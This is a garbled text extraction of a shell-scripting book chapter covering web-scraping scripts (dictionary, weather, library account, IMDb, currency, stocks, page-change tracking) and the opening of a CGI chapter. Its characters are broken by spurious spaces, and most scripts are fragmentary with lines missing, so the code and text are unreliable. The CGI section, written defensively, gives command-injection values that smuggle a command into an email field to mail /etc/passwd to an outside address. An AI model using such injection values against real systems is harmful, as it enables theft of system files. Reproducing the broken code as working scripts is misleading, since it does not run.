h t t p :/ /m yst - tech n olog y .com /my s m a r t c h a n n e l s / p u b l i c / b l o g / 2 1 4 /
h t t p :/ /s mat t erin g .org / dryh eat /
h t t p :/ /w ww. 1 01pu b licr e lati ons . c o m / b l o g /
h t t p :/ /w ww. A Ppar e ntin g .com /
h t t p :/ /w ww. b acku p brai n .com /
h t t p :/ /w ww. b logh o p.co m /
h t t p :/ /w ww. b logh o p.co m /rat emy b l o g . h t m
h t t p :/ /w ww. b logp h iles . com/ web r i n g . s h t m l
h t t p :/ /w ww. b logs h ares . com/ blo g s . p h p
h t t p :/ /w ww. b logs t reet . com/ blo g s q l b i n / h o m e . c g i
h t t p :/ /w ww. b logw i se.c o m/
h t t p :/ /w ww. g nome - girl . com/
h t t p :/ /w ww. g oogl e .com / sear ch/
h t t p :/ /w ww. i cq.c o m/
h t t p :/ /w ww. i nfow o rld. c om/
h t t p :/ /w ww. m ail2 w eb.c o m/
h t t p :/ /w ww. m ovab l etyp e .org /
h t t p :/ /w ww. n ikon u sa.c o m/us a_p r o d u c t / p r o d u c t . j s p
h t t p :/ /w ww. o nlin e toni g ht.n et/ e t h o s /
h t t p :/ /w ww. p rocm a il.o r g/
h t t p :/ /w ww. r ings u rf.c o m/ne tri n g /
h t t p :/ /w ww. s pama s sass i n.or g/
h t t p :/ /w ww. t ryin g real l yhar d.c o m /
h t t p :/ /w ww. y ahoo . com/ r /p2
Learn more You can read up on the WordNet project it's quite interesting by visiting its website
directly at http://www.cogsci.princeton.edu/~wn/
The Code
# !/ bin / sh
u rl ="h t tp: // www .c ogsc i.pr incet o n.e d u /cg i - bi n/ we b wn 1. 7 .1 ? st ag e =1 &w o rd ="
i f [ $ # -n e 1 ] ; the n
e cho "Us ag e: $0 wor d" > &2
e xit 1
fi
How It Works
Because you can't simply pass fm t an input stream as structurally complex as a word definition without completely
ruining the structure of the definition, the whil e loop attempts to make the output as attractive and readable as
possible. Another solution would be a version of fmt that wraps long lines but never merges lines, treating each line
of input distinctly, as shown in script #33, too l ong .
Worthy of note is the s ed command that strips out all the HTML tags from the web page source code:
s ed 's / <[^ >] *>/ /g '
This command removes all patterns that consist of an open angle bracket (<) followed by any combination of
characters other than a close angle bracket (> ), finally followed by the close angle bracket. It's an example of an
instance in which learning more about regular expressions can pay off handsomely when working with shell scripts.
The Results
$ d efi n e l im n
T he ve r b l im n:
1. d eli ne ate , limn , ou tline -- ( t rac e th e sh a pe o f )
2. p ort ra y, de pict , li mn -- (ma k e a p o rt ra it of ; " Go y a wa n te d t o
p ort r ay hi s m is tres s, t he Du c hes s of A l ba ")
$ d efi n e v is ion ar y
T he no u n v is ion ar y:
1. v isi on ary , illu sion ist, s eer - - ( a pe rs on wi th un u su al po we r s
o f f o res ig ht)
The Code
# !/ bin / sh
l lu rl= " htt p: //w ww .cen sus. gov/c g i-b i n /ga z e tt ee r? c it y= & st a te =& z ip ="
w xu rl= " htt p: //w ww a.ac cuwe ather . com "
w xu rl= " $wx ur l/a dc bin/ publ ic/lo c al_ i n dex _ p ri nt .a s p? zi p co d e= "
i f [ " $ 1" = "-a " ] ; then
s ize = 999 ; shi ft
e ls e
s ize = 5
fi
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: $0 [-a ] zi pcode " >& 2
e xit 1
fi
i f [ $ s ize - eq 5 ] ; then
e cho ""
e xi t 0
How It Works
This script provides yet another riff on the idea of using a shell script as a wrapper, though in this case the optional flag
primarily changes the amount of information filtered through the he a d at the end of the pipe. This script also takes
advantage of the natural source code organization of the two sites to slice out the population and latitude/longitude data
prefixed with the strings <s tron g> and Loc a tio n : , respectively, and then it slices out the forecast information
wrapped in a s eve nd ayt en font container.
The Results
$ w eat h er 66 207
Z ip Co d e: 66 207 PO N ame: Shaw n ee M i ssi o n ( KS )
P op ula t ion ( 199 0) : 13 863
L oc ati o n: 38 .95 74 72 N , 94 .6451 9 3 W
C ur ren t ly at 10 :3 5 PM
C LE AR W in ds SW at 4 m ph.
T em p: 2 8 / R F 2 6. UV Inde x 0.
While more difficult, this method can also be emulated using lyn x , as this script shows. This specific script sends a
data stream to the Boulder (Colorado) Public Library website, logging the specified user in and extracting a list of books
and other items checked out, with due dates. Notice in particular the creation and use of the p os t da ta temporary
file.
The Code
# !/ bin / sh
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: $( base name $0) \ "ca r d ho l d er \" "; ex it 0
fi
How It Works
To get your own version of this script working with your own public library (or similar system), the basic technique is to
browse to the page on the system website at which you must submit your account information. In the case of this
script, that page is h ttp :/ /nel l.bo ulde r . lib . c o.u s / pa tr on i nf o . Then, on that page, use the View
Source capability of your browser to identify the names of the form input elements into which you must submit your
account information. In the case of this script, the two input text elements are n a me and c od e (library card number).
To duplicate that, I have stored the required information in the $po s td a ta file:
n am e=$ { nam e} &co de =${c ardn o}&su b mit = D isp l a y+ re co r d+ fo r +p e rs on + na me d +a bo v e
I then use this information to populate the input elements by passing the information to l yn x:
l yn x - s our ce -p os t-da ta " $lib1 / $re c o rdn o / $l ib 2" < $p o st d at a
The account information used in the temporary $ pos t d ata file, as well as in other places in the script, is stored in a
shared database library called . libr ary.a c cou n t .in f o , which you must build by hand. The toughest part of
building this account database was identifying the internal library ID of my account, but again, the View Source
capability of a modern browser is all that's needed: I just logged in to the library database itself with my name and card
number and then looked at the source code of the resultant page. Buried in the data was the line
< A HRE F ="/ pa tro ni nfo/ 1201 9/ite m s"
Voil! I then stored my internal ID value, 12019, in the library account information database file.
It joins every second and third line of the output, with the first line of each discarded, because it's not necessary for the
desired output information. The end result is quite readable and attractive.
Special note In the interest of not blasting my library card number throughout the known universe, the
data file shown for this script is not exactly correct. Therefore, you won't be able to run the
script and find out what books I have checked out, but the general concept is still
informative.
The Results
It's a simple matter to see what's due:
$ c hec k lib ra ry Da ve
DU E 0 9 -06 -0 3 | Duke the lost eng i n e/ W . A wd ry ;
DU E 0 9 -06 -0 3 | Farm er W ill / Jan e Cow e n -F le tc h e
DU E 0 9 -06 -0 3 | Five lit tle m o nke y s ju m p in g on t
DU E 0 9 -06 -0 3 | Five lit tle m o nke y s si t t in g in a
DU E 0 9 -06 -0 3 | Main lin e eng i nes / W. A w dr y ; w i
DU E 0 9 -06 -0 3 | Now we c an ha v e a w edd i n g! / J u d
DU E 0 9 -06 -0 3 | The eagl e cat c her / by M a rg ar et C
DU E 0 9 -06 -0 3 | The summ er ca t / s t o ry a n d pi ct u r
DU E 0 9 -06 -0 3 | The temp est : [a n o vel ] / Ju an M
i f [ ! -s $r esu lt s ] ; th en
e xit 0 # no book s che c ked o ut!
fi
c at $ res ul ts
) | se n dma il -t
e xi t 0
Notice that if no books are checked out, the script exits without sending any email, to avoid annoying "no books
checked out" kinds of messages.
#65 Digging Up Movie Info from IMDb
A more sophisticated use of Internet access through ly n x and a shell script is demonstrated in this hack, which
searches the Internet Movie Database website (h ttp : / /ww w . im db .c o m/ ) to find films that match a specified
pattern. What makes this script interesting is that it must be able to handle two different formats of return information: If
the search pattern matches more than one movie, mo v i eda t a returns a list of possible titles, but if there's exactly
one movie match, the information about that specific film is returned.
As a result, the script must cache the return information and then search through it once to see if it provides a list of
matches and then a second time if it proves to be a summary of the film in question.
The Code
# !/ bin / sh
i md bur l ="h tt p:/ /u s.im db.c om/Ts e arc h ? res t r ic t= Mo v ie s+ o nl y &t it l e= "
t it leu r l=" ht tp: // us.i mdb. com/T i tle ? "
t em pou t ="/ tm p/m ov ieda ta.$ $"
gre p "^ <t itl e> " $t empo ut | s ed ' s /<[ ^ > ]* >/ /g ; s/ (m o re ) // '
gre p '< b cla ss ="ch ">Pl ot Ou t lin e : </b > ' $ te mp o ut | \
s e d ' s/ <[^ >] *>// g;s/ (more ) //; s / (vi e w t ra il e r) // ' | f mt |s e d 's / ^/ / '
exi t 0
}
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: $0 {mo vie title | m o v ie I D }" > &2
e xit 1
fi
i f [ $ # -e q 1 ] ; the n
n odi g its =" $(e ch o $1 | s ed 's / [[: d i git : ] ]* // g' ) "
i f [ -z "$ nod ig its" ] ; then
ly n x - so urc e "$ti tleu rl$fi x edn a m e" > $t em po u t
su m mar iz e_f il m
fi
fi
e xi t 0
How It Works
This script builds a different URL depending on whether the command argument specified is a film name or an IMDb
film ID number, and then it saves the lynx output from the web page to the $ te m po ut file.
If the command argument is a film name, the script then examines $ t em po u t for the string "IMDb title search" to see
whether the file contains a list of film names (when more than one movie matches the search criteria) or the description
of a single film. Using a complex series of sed substitutions that rely on the source code organization of the IMDb site,
it then displays the output appropriately for each of those two possible cases.
The Results
$ m ovi e dat a law re nce of a rabia
0 05 617 2 -- L awr en ce o f Ar abia ( 196 2 )
0 09 935 6 -- D ang er ous Man: Lawr e nce A fte r Ar ab ia , A ( 1 99 0 ) (T V )
0 19 454 7 -- W ith A llen by i n Pal e sti n e an d La wr en c e in Ar a bi a ( 19 19 )
0 24 522 6 -- L awr en ce o f Ar abia ( 193 5 )
0 36 376 2 -- L awr en ce o f Ar abia: A C o n ver s a ti on w i th S t ev e n Sp i el be r g (2 0 00 ) ( V)
0 36 379 1 -- M aki ng of 'Law rence of A r abi a ' , Th e ( 20 00 ) ( V )
$ m ovi e dat a 005 61 72
L aw ren c e o f Ara bi a (1 962)
P lot Out li ne: B riti sh l ieute n ant T .E. L aw re nc e r ew r it e s th e p ol i ti ca l
h ist o ry of Sa ud i Ar abia .
$ m ovi e dat a mon so on w eddi ng
M on soo n We dd ing ( 2001 )
P lot Out li ne: A str esse d fat h er, a br i d e- to -b e w it h a se cr e t, a
s mit t en ev ent p lann er, and r e lat i v es f r om a ro u nd t h e w or ld cr ea t e
m uch ado a bou t the prep arati o ns f o r a n ar ra ng e d ma r ri a ge i n I nd i a.
A problem with this script, as with most scripts that scrape values from a third-party website, is that if IMDb changes its
page layout, the script will break and you'll need to rebuild the script sequence. It's a lurking bug, but with a site like
IMDb that hasn't changed in years, probably not a dramatic or dangerous one.
#66 Calculating Currency Values
A particularly interesting use of shell scripts is to offer a command-line currency conversion routine. This proves to be
a two-part task, because the latest exchange rates should be cached, but that cache needs to be refreshed every day
or two so that the rates stay reasonably up-to-date for the calculations.
Hence this solution is split into two scripts. The first script gets the exchange rate from CNN's money and finance
website (h ttp : //mo n ey.c n n.co m/) and saves it in a temporary cache file called . e x c h a n g e r a t e . The
second script provides the user interface to the exchange rate information and allows easy calculation of currency
conversions.
The Code
# ! / b in /s h
# g e te xc hra t e - S crap e s th e c u r r e n t c u r r e n c y e x c h a n g e r a t e s
# fr om CN N 's m o ney a nd f ina n c e w e b s i t e .
#
# W i th ou t a n y fl a gs, t his gra b s t h e e x c h a n g e r a t e v a l u e s i f t h e
# c u rr en t i n form a tion is m ore t h a n 1 2 h o u r s o l d . I t a l s o s h o w s
# s u cc es s u p on c o mple t ion, so m e t h i n g t o t a k e i n t o a c c o u n t i f
# y o u ru n t h is f r om a cron jo b .
i f [ - f $ou t f ] ; the n
i f [ - z " $ (fin d $ou t f -c min $ a g e - p r i n t ) " ] ; t h e n
ec ho "$ 0 : ex c hang e rat e d a t a i s u p - t o - d a t e . " > & 2
ex it 1
fi
fi
# A c tu al ly g et t h e la t est exc h a n g e r a t e s , t r a n s l a t i n g i n t o t h e
# f o rm at re q uire d by t he e xch a n g e r a t e s c r i p t .
exit 0
The other script that's important for this to work is e x c h a n g e r a t e , the actual command users invoke to calculate
currency conversions:
# ! / b in /s h
s h o w ra te ()
{
d o ll ar s=" $ (ech o $1 | cut -d . - f 1 ) "
c e nt s= "$( e cho $ 1 | c ut - d. - f 2 | c u t - c 1 - 2 ) "
r a te =" $do l lars . ${ce n ts:- 00} "
}
. $ e xc hr ate f ile
i f [ $ # -ne 2 ] ; the n
e c ho " Usa g e: $ ( base n ame $0) a m o u n t c u r r e n c y "
e c ho " Whe r e cu r renc y can be U S D , E u r o , C a n a d i a n , Y e n , o r P o u n d . "
e x it 0
fi
a m o u nt =$ 1
c u r r en cy ="$ ( echo $2 | tr ' [:u p p e r : ] ' ' [ : l o w e r : ] ' | c u t - c 1 - 2 ) "
c a s e $ cu rre n cy i n
u s |d o ) i f [ - z "$( e cho $1 | g r e p ' \ . ' ) " ] ; t h e n
mast e rrat e ="$1 .00 "
e l se
mast e rrat e ="$1 "
fi ;;
eu ) m a ster r ate= " $($s cri p t b c $ 1 \ * $ e u r o ) " ;;
c a |c d ) m a ster r ate= " $($s cri p t b c $ 1 \ * $ c a n a d a ) " ;;
ye ) m a ster r ate= " $($s cri p t b c $ 1 \ * $ j a p a n ) " ;;
p o |s t ) m a ster r ate= " $($s cri p t b c $ 1 \ * $ u k ) " ;;
* ) e c ho " $ 0: u n know n c u r r e n c y s p e c i f i e d . "
e c ho " I onl y kno w U S D , E U R O , C A N D / C D N , Y E N a n d GBP/POUND."
ex i t 1
esac
exit 0
How It Works
When run, if the exchange rate database .e x c h a n g e r a t e is more than 12 hours out-of-date, the first script,
g e t e xc hr ate , grabs the latest exchange rate information from the CNN site, extracts the exchange rates for the
major currencies specified in the script, and then saves them in a c u r r e n c y = v a l u e format. Here's how the
.ex c ha ng era t e data file appears after the script is run:
$ c a t /t mp/ . exch a nger a te
c a n a da =0 .74 7 100
e u r o =1 .1 733 0 0
j a p a n= 0. 009 1 63
u k = 1 .6 64 400
The second script, exc h ange r ate, is rather long and relies on Script #9, s c r i p t b c , for all of the mathematics
involved. The basic algorithm of the script is to normalize the currency value specified in the command arguments to
U.S. dollars by multiplying the specified value by the appropriate exchange rate, and then to use the relationship
between the U.S. dollar and each foreign currency to calculate the equivalent value in each currency.
From a scripting point of view, note particularly how e x c h a n g e r a t e incorporates the exchange rate values from the
. e x c ha ng era t e data file:
. $ e xc hr ate f ile
This is known as sourcing a file, and it causes the specified file (script) to be read as if its contents were part of this
script. This will make more sense if we contrast it with the result of the following line:
s h $ ex ch rat e file
This does exactly the wrong thing: It spawns a subshell, sets the exchange rate variables within that subshell, and then
quits the subshell, leaving the calling script without access to the values for these variables.
Although the get ex chr a te script can be run as frequently as desired, it actually gets and updates the currency
exchange rates only if $ex ch rate file is more than 12 hours old. This lends itself to being a daily c r o n job,
perhaps just during week-days (the currency markets aren't open on weekends, so the rates don't fluctuate from Friday
evening to Monday morning).
The e xc ha nge r ate script expects two arguments: a currency amount and a currency name. It's flexible in this
regard, so 100 CDN and 100 Canadian are the same, while 25 EU and 25 Euros will also both work. If no currency
name is specified, the default is USD, U.S. dollars.
The Results
$ g e te xc hra t e
S u c c es s. Ex c hang e rat e s up dat e d a t Thu Oct 9 23:07:27 MDT 2003.
$ e x ch an ger a te 2 5 0 ye n
C u r r en cy Ex c hang e Rat e Equ iva l e n t s for 250 yen:
US Do l lars : 2.2 9
EC E uros : 1.9 5
C a n a di an Do l lars : 3.0 6
Ja pa nes e Yen : 250 . 00
B ri ti sh P ound s : 1. 3 7
$ e x ch an ger a te 2 5 0 po u nds
C u r r en cy Ex c hang e Rat e Equ iva l e n t s for 250 pounds:
US Do l lars : 416 . 05
EC E uros : 354 . 44
C a n a di an Do l lars : 556 . 96
Ja pa nes e Yen : 453 9 5.52
B ri ti sh P ound s : 25 0 .00
$ e x ch an ger a te 2 5 0 do l lars
C u r r en cy Ex c hang e Rat e Equ iva l e n t s for 250 dollars:
US Do l lars : 250 . 00
EC E uros : 212 . 98
C a n a di an Do l lars : 334 . 67
Ja pa nes e Yen : 272 7 7.68
B ri ti sh P ound s : 15 0 .22
You could cobble together a web-based interface to the exchange rate script by having a page that has a text input
field for the desired amount and a pop-up menu of currency types. Submit it, turn those two data snippets into the
appropriate input format for the e xcha nger a t e script, and then feed the output back to the web browser with the
appropriate HTML wrapper.
#67 Tracking Your Stock Portfolio
A more complex task for the shell is to keep track of the overall value of your stock portfolio. While this might actually
be too depressing to see each time you log in, the building blocks are quite informative and valuable on their own.
Like Script #66, this solution is built from two different scripts, one that extracts the most recently traded value of a
given stock, and a second script that reads and calculates running totals for a portfolio of stocks.
The Code
# !/ bin / sh
i f [ $ # -n e 1 ] ; the n
e cho "Us ag e: $( base name $0) s toc k s ymb o l " >& 2
e xit 1
fi
i f [ - z $v al ue ] ; th en
e cho "er ro r: no val ue f ound f or t i cke r sy mb ol $1 ." >& 2
e xit 1
fi
e ch o $ v alu e
e xi t 0
The second script is the wrapper that allows users to create a rudimentary data file with stock name, stock ticker
symbol, and the number of shares held, and then have the valuation of their entire portfolio calculated based on the
latest (well, 15-minute-delayed) quotes for each stock in the file:
# !/ bin / sh
w hi le r ead h old in g
do
ev a l $ (e cho $ hold ing | \
awk - F\| ' {pri nt " name= \ ""$ 1 " \"; t ic ke r= \ "" $2 " \" ; h ol d =\ "" $ 3" \" " }' )
if [ ! - z " $t icke r" ] ; th e n
v alu e= "$( ge tsto ck $ ticke r )"
t otv al ="$ ($ scri ptbc ${va l ue: - 0 } \ * $h ol d) "
e cho " $na me is trad ing a t $v a l ue ( y ou r $h o ld s h ar e s = $ to tv a l) "
s umv al ue= "$ ($sc ript bc ${ s umv a l ue: - 0 } + $t o tv al ) "
fi
d one < $ p ort fo lio
e ch o " T ota l por tf olio val ue: $ s umv a l ue"
e xi t 0
How It Works
The get s toc k script is one of the most straightforward in this chapter. It emulates a m et h od =g e t query to Lycos
Finance and then extracts the value of a single stock specified as the command argument by finding the line in the web
page that indicates "Last Price:" and extracting the subsequent price.
The wrapper script p or tfo li o calculates the value of all stocks in a portfolio, using the information stored in the
portfolio data file, which is organized as a simple text file with stock name, ticker symbol, and the number of shares
held. For parsing simplicity, the data file fields are separated by a | symbol, a character that's not likely to show up in a
company name. The po rt foli o script extracts the value of each these fields, calculates the current value of each
stock by calling g et sto ck , and then multiplies that by the shares held to ascertain the total value of that stock. Sum
them up, and you have the portfolio value.
The eva l command on the first line of the wh i l e loop in p ort f ol i o is the trickiest element of the script:
e va l $ ( ech o $ho ld ing | \
awk - F\| ' {pri nt " name= \ ""$ 1 " \"; t ic ke r= \ "" $2 " \" ; h ol d =\ "" $ 3" \" " }' )
Within the subshell, aw k parses a line from the portfolio database, splitting it into three fields, and then outputs them in
n am e=v a lue format. Then the call to eval , within which the a w k call is contained, forces the script to evaluate the
a wk output as if it were entered directly into the shell. For example, for the Apple holdings in the portfolio shown in the
next section, the subshell result would be
n am e=" A ppl e Com pu ter" ; ti cker= " AAP L " ; h o l d= "5 00 "
Once evaluated by e va l, the three variables na m e , t i cke r , and ho ld would then actually be instantiated with the
values specified. The rest of the script can then reference these three values by name, without any additional fiddling.
The Results
$ p ort f oli o
A pp le C omp ut er is tra ding at 2 2 .61 ( you r 50 0 sh a re s = 1 1 30 5. 0 0)
C ab le & Wi re les s is t radi ng at 5.6 3 (yo u r 1 00 s h ar es = 5 63 .0 0 )
I nt el i s t ra din g at 2 8.59 (you r 30 0 sha r e s = 85 7 7. 00 )
J up ite r Me di a i s trad ing at 3. 9 5 ( y o ur 5 0 s ha re s = 1 9 7. 5 0)
e Ba y i s tr ad ing a t 55 .41 (your 200 s har e s = 1 10 8 2. 00 )
M ic ros o ft is tr ad ing at 2 6.52 ( you r 200 s ha re s = 5 30 4 .0 0 )
Q ua lco m m i s tra di ng a t 41 .33 ( y our 1 00 s h ar es = 41 33 . 00 )
T ot al p ort fo lio v alue : 41 161.5 0
The Code
# ! / b in /s h
i f [ $ # -ne 2 ] ; the n
e c ho " Usa g e: $ ( base n ame $0) u r l e m a i l " > & 2
e x it 1
fi
i f [ ! - d $ s itea r chiv e ] ; th e n
i f ! m kdi r $si t earc h ive ; t h e n
ec ho "$ ( base n ame $ 0) f ail e d : c o u l d n ' t c r e a t e $ s i t e a r c h i v e . " > & 2
ex it 1
fi
c h mo d 777 $sit e arch i ve # you might change this for privacy
fi
f n a m e= "$ (ec h o $1 | se d 's/ htt p : \ / \ / / / g ' | t r ' / ? & ' ' . . . ' ) "
b a s e ur l= "$( e cho $ 1 | c ut - d/ - f 1 - 3 ) / "
# G r ab a co p y of the w eb p age i n t o a n a r c h i v e f i l e . N o t e t h a t w e c a n
# t ra ck ch a nges by l o okin g j u s t a t t h e c o n t e n t ( e . g . , ' - d u m p ' , n o t
# ' - so ur ce' ) , so we c a n sk ip a n y H T M L p a r s i n g . . .
# F o r th e s c ript to g e t he re, t h e s i t e m u s t h a v e c h a n g e d , a n d w e n e e d t o s e n d
# t h e co nte n ts o f the .new fi l e t o t h e u s e r a n d r e p l a c e t h e o r i g i n a l w i t h t h e
# . n ew f or t he n e xt i n voca tio n o f t h e s c r i p t .
l y nx - sou r ce $ 1 | \
se d -e " s|[s S ][rR ] [cC] =\" | S R C = \ " $ b a s e u r l | g " \
-e " s|[h H ][rR ] [eE] [fF ] = \ " | H R E F = \ " $ b a s e u r l | g " \
-e " s|$b a seur l \/ht tp: | h t t p : | g "
) | $s en dma i l -t
# U p da te th e sav e d sn a psho t o f t h e w e b s i t e
# a n d we 're done .
exit 0
How It Works
Given a website URL and a destination email address, this script grabs the URL's web page content and compares it
against the content of the site from the previous check.
If it's changed, the new web page is emailed to the specified recipient, with some simple rewrites to try to keep the
graphics and H REFs working. These HTML rewrites are worth examining:
l y nx - sou r ce $ 1 | \
se d -e " s|[s S ][rR ] [cC] =\" | S R C = \ " $ b a s e u r l | g " \
-e " s|[h H ][rR ] [eE] [fF ] = \ " | H R E F = \ " $ b a s e u r l | g " \
-e " s|$b a seur l \/ht tp: | h t t p : | g "
The call to lyn x retrieves the source of the specified web page, and then s e d performs three different translations.
S R C = " is rewritten as S R C="b a seur l/ to ensure that any relative pathnames of the nature S R C = " l o g o . g i f "
are rewritten to work properly as full pathnames with the domain name. If the domain name of the site is
h t t p :/ /w ww. i ntui t ive. c om/, the rewritten HTML would be:
S R C = "h tt p:/ / www. i ntui t ive. com / l o g o . g i f " . H R E F attributes are similarly rewritten, and then, to
ensure we haven't broken anything, the third translation pulls the b a s e u r l back out of the HTML source in situations
where it's been erroneously added. For example,
H R E F =" ht tp: / /www . intu i tive .co m / h t t p : / / w w w . some-whereelse. c o m / l i n k " is clearly broken and
must be fixed for the link to work.
Notice also that the recipient address is specified in the e c h o statement (e c h o " T o : $ 2 " ) rather than as an
argument to s e ndma i l. This is a simple security trick: By having the address within the s e n d m a i l input stream
(which se nd mai l knows to parse for recipients because of the - t flag), there's no worry about users playing games
with addresses like "j o e;ca t /et c/pas s w d | m a i l l a r r y " . It's a good technique to use for all invocations
of s e nd mai l within shell scripts.
The Results
The first time the script sees a web page, the page is automatically mailed to the specified user:
$ c h an ge tra c k ht t p:// w ww.i ntu i t i v e . c o m / b l o g / t a y l o r @ i n t u i t i v e . c o m
N o t e : we 've neve r see n thi s s i t e b e f o r e .
The resultant emailed copy of the site, while not exactly as it would appear in the web browser, is still quite readable,
as shown in Figure 7-2.
Figure 7-2: The site has changed, so the page is sent via email from c h a n g e t r a c k
All subsequent checks of h tt p:// www.i n t u i t i v e . c o m / b l o g / will produce an email copy of the site only if
the page has changed since the last invocation of the script. This change can be as simple as a single value or as
complex as a complete redesign. While this script can be used for tracking any website, sites that don't change
frequently will probably work best: If the site changes every few hours (such as the CNN home page), checking for
changes is a waste of CPU cycles, because it'll always be changed.
When the script is invoked the second time, nothing has changed, and so it has no output and produces no electronic
mail to the specified recipient:
$ c h an ge tra c k ht t p:// w ww.i ntu i t i v e . c o m / b l o g / t a y l o r @ i n t u i t i v e . c o m
$
Most interesting of the possible hacks is to modify this script to work off a data file of URLs and email addresses,
rather than requiring those as input parameters. Drop that modified version of the script into a c r o n job, write a web-
based front end to the utility, and you've just duplicated a function that some companies charge people money to use
on the Web. No kidding.
Another way to track changes There's another way to track web page changes that's worth a
brief mention: RSS. Known as Really Simple Syndication,
RSS-enabled web pages have an XML version of the site that
makes tracking changes trivial, and there are a number of
excellent RSS trackers for Windows, Mac, and Linux/Unix. A
good place to start learning about RSS is
http://rss.intuitive.com/. The vast majority of sites aren't RSS
enabled, but it's darn useful and worth keeping an eye on!
Chapter 8: Webmaster Hacks
Overview
In addition to offering a great environment for building nifty command-line-based tools that work with various Internet
sites, shell scripts can also change the way your own website works, starting with some simple debugging tools and
expanding to the creation of web pages on demand, a photo album browser that automatically incorporates new
images uploaded to the server, and more.
All of these uses of the shell for Common Gateway Interface (CGI) scripts share one common trait, however: They
require you to be conscious and aware of possible security risks. The most common hack that can catch an unaware
web developer is the exploitation of the command line, accessed within the scripts.
Consider this seemingly benign example: On a web page, you have a form for people to fill out. One of the fields is
their email address, and within your script you not only store their information within a local database, you also email
them an acknowledgment:
( e c ho " Sub j ect: Than k s fo r y o u r s i g n u p "
e c ho " To: $ema i l ($ n ame) "
e c ho " "
e c ho " Tha n ks f o r si g ning up . Y o u ' l l h e a r f r o m u s s h o r t l y . "
e c ho " -- D ave a nd t h e te am"
) | se nd mai l $em a il
Seems innocent, doesn't it? Now imagine what would happen if the email address, instead of
<t a yl or @in t uiti v e.co m >, was entered as
' s e n dm ai l d 0 0d37 @ das- h ak.d e < / e t c / p a s s w d ; e c h o taylor@intuitive.com'
Can you see the danger lurking in that? Rather than just sending the short email to the address, this sends a copy of
your / et c/p a sswd file to a delinquent at @ d a s - h a k . d e , to perhaps use as the basis of a determined attack on
your system security.
As a result, many CGI scripts are written in more security-conscious environments, notably including the - w -enabled
Perl world, in which the script fails if data is utilized from an external source without being "scrubbed" or checked.
But this lack of security features doesn't preclude shell scripts from being equal partners in the world of web security. It
just means that you need to be thoughtful and conscious of where problems might creep in and eliminate them. For
example, a tiny change in the script just shown would prevent any potential hooligans from providing bad external data:
( e c ho " Sub j ect: Than k s fo r y o u r s i g n u p "
e c ho " To: $ema i l ($ n ame) "
e c ho " "
e c ho " Tha n ks f o r si g ning up . Y o u ' l l h e a r f r o m u s s h o r t l y . "
e c ho " -- D ave a nd t h e te am"
) | se nd mai l -t
The - t flag to s e ndma i l tells the program to scan the message itself for valid destination email addresses. The
backquoted material never sees the light of a command line, as it's interpreted as an invalid email address within the
s e n d ma il queuing system (and then safely ends up in a log file).
Another safety mechanism requires that information sent from the web browser to the server be encoded; a backquote,
for example, would actually be sent to the server (and handed off to the CGI script) as % 6 0 , which can certainly be
safely handled by a shell script without danger.
One common characteristic of all the CGI scripts in this chapter is that they do very, very limited decoding of the
encoded strings: Spaces are encoded with a + for transmission, so translating them back to spaces is safe. The @
character in email addresses is sent as %40 , so that's safely transformed back too. Other than that, the scrubbed
string can safely be scanned for the presence of a % and generate an error if encountered. This is highlighted in the
code used in Script #72, Processing Contact Forms.
Ultimately, highly sophisticated websites will use more robust and powerful tools than the shell, but as with many of the
solutions in this book, a 20-to 30-line shell script can often be enough to validate an idea, prove a concept, or solve a
simple problem in a fast, portable, and reasonably efficient manner.
Try them online! You can explore many of the scripts in this chapter online at
ht tp:// w w w . i n t u i t i v e . c o m / w i c k e d /
Running the Scripts in This Chapter
To run any of the CGI shell scripts presented in this chapter, you'll need to do a bit more than just name the script
appropriately and save it. You must also place the script in the proper location, as determined by the configuration of
the web server running on your system.
Unless you've specifically configured your web browser to run .sh scripts as CGI programs, you'll want all of the
scripts in this chapter to have a . cgi filename suffix. You should save the . cg i files either in the desired directory
on your web server or in its / cgi- bin/ directory, again depending on the configuration. It is important to note that
the . cgi file-naming conventions in this chapter assume that you are saving those files in your web server's root
directory. If you are instead saving them in its / cgi - b in/ directory, you must add /c g i- bi n / to all of the script
paths in this chapter. For example, s crip t- na m e .cg i becomes / c gi -b i n/ s c ri pt - na me . cg i. Finally,
you'll need to ensure that each .c gi script is readable and executable by everyone, because on most web servers
your web queries run as user nob ody or similar.
Of course, you need a web server running to have any of these scripts work properly. Fortunately, just about every
cool modern OS includes either Apache or something similar, so getting a server up and running should be
straightforward. You will need to ensure that the script directory on your web server has CGI execution permission in
the server configuration file. In Apache, for example, the directory needs to have Op t io n E xe cC G I specified in the
h tt pd. c onf file for the scripts to work. Then ensure that the directory is globally readable and executable.
Of course, the alternative is to experiment with these scripts on a web server that is not on your machine but that is
already hopefully set up properly. Talk with your web hosting provider; you'll need access to a web server that not
only allows you to execute your own CGI scripts but also allows you to t el ne t or (preferably) ss h into the server to
tweak the scripts. Most hosting companies do not allow this access, due to security concerns, but you can find a bunch
of possibilities by searching Google for "web hosting ssh telnet access."
#69 Seeing the CGI Environment
Sometimes scripts can be quite simple and still have useful results. For example, while I was developing some of the
scripts for this chapter, Apple released its Safari web browser. My immediate question was, "How does Safari identify
itself within the HT TP_ US ER_A GENT string?"
Finding the answer is quite a simple task for a CGI script, a script that can be written in the shell.
The Code
# !/ bin / sh
# N ow t he re al in form atio n
e ch o " < htm l> <bo dy bgc olor =\"wh i te\ " > <h2 > C GI R un t im e E nv i ro nm e nt </ h 2> "
e ch o " < pre >"
e nv || pri nt env
e ch o " < /pr e> "
e ch o " < h3> In put s trea m is :</h3 > "
e ch o " < pre >"
c at -
e ch o " ( end o f i np ut s trea m)</p r e>< / b ody > < /h tm l> "
e xi t 0
How It Works
When a query comes from a web client to a web server, the query sequence includes a number of environment
variables that the web server (Apache, in this instance) hands to the script or program specified (the so-called
Common Gateway Interface). This script displays this data by using the shell e nv command, with the rest of the script
being necessary wrapper information to have the results fed back through the web server to the remote browser.
The Results
Figure 8-1: The CGI runtime environment, from a shell script
#70 Logging Web Events
A cool use of a shell-based CGI script is to log events by using a wrapper. Suppose that I'd like to have a Yahoo!
search box on my web page, but rather than feed the queries directly to Yahoo!, I'd like to log them first, to build up a
database of what people seek from my site.
First off, a bit of HTML and CGI: Input boxes on web pages are created inside forms, and forms have user information
to be processed by sending that information to a remote program specified in the value of the form's action attribute.
The Yahoo! query box on any web page can be reduced to the following:
< fo rm m eth od ="g et " ac tion ="htt p :// s e arc h . ya ho o. c om /b i n/ s ea rc h ">
S ea rch Yah oo :
< in put typ e= "te xt " na me=" p">
